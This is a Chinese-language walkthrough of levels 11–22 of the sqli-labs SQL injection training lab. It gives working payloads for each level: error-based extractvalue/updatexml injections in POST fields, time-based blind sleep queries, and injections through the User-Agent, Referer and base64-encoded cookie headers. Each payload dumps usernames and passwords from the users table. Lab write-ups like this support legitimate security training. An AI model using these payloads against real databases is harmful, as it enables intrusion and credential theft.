sqli靶场通关流程11~22关
Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
从这一关开始,我们就要用到post的方法了,只能bp抓包分析了
打开页面,发现只有登录框,我们输入用户名admin,密码admin,进行抓包分析
通过抓包分析,发现了请求体可以进行注入,我们直接输入uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit
得到用户名和密码
Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
一看到标题,我们就知道这里只需要把单引号改为双引号即可,输入
uname=admin") and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users)))--+&passwd=admin&submit=Submit
得到用户名和密码
Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
直接使用报错函数单引号后加),爆破用户名和密码成功
Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
这里我尝试了无数次都失败,后来改为双引号就成功了
less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
直接使用时间函数注入的方法,输入uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
爆破出用户名和密码
Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
输入uname=admin” and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit,相比less-15,改为双引号即可
Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
打开页面,看到提示让我们修改密码
发现不能直接爆破出密码
我们换个思路,再添加一层select,进行堆叠注入试试,输入uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit,发现成功
成功
Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
打开,页面,这次给了我们一个ip
根据标题,我们直接修改UA头为1',2,updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#
得到用户名和密码
Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
根据标题,我们只需要将报文头referer修改跟Less-18一样就好
Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
查看标题,可以知道跟cookie头有关,抓包,输入'and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)# 得到用户名和密码
Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)
等到,可以看到username变为base64编码了,这时我们直接将'and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#转换为base64编码即可
Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)
一样的,只是把单引号换位双引号,将”and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#装换位base64即可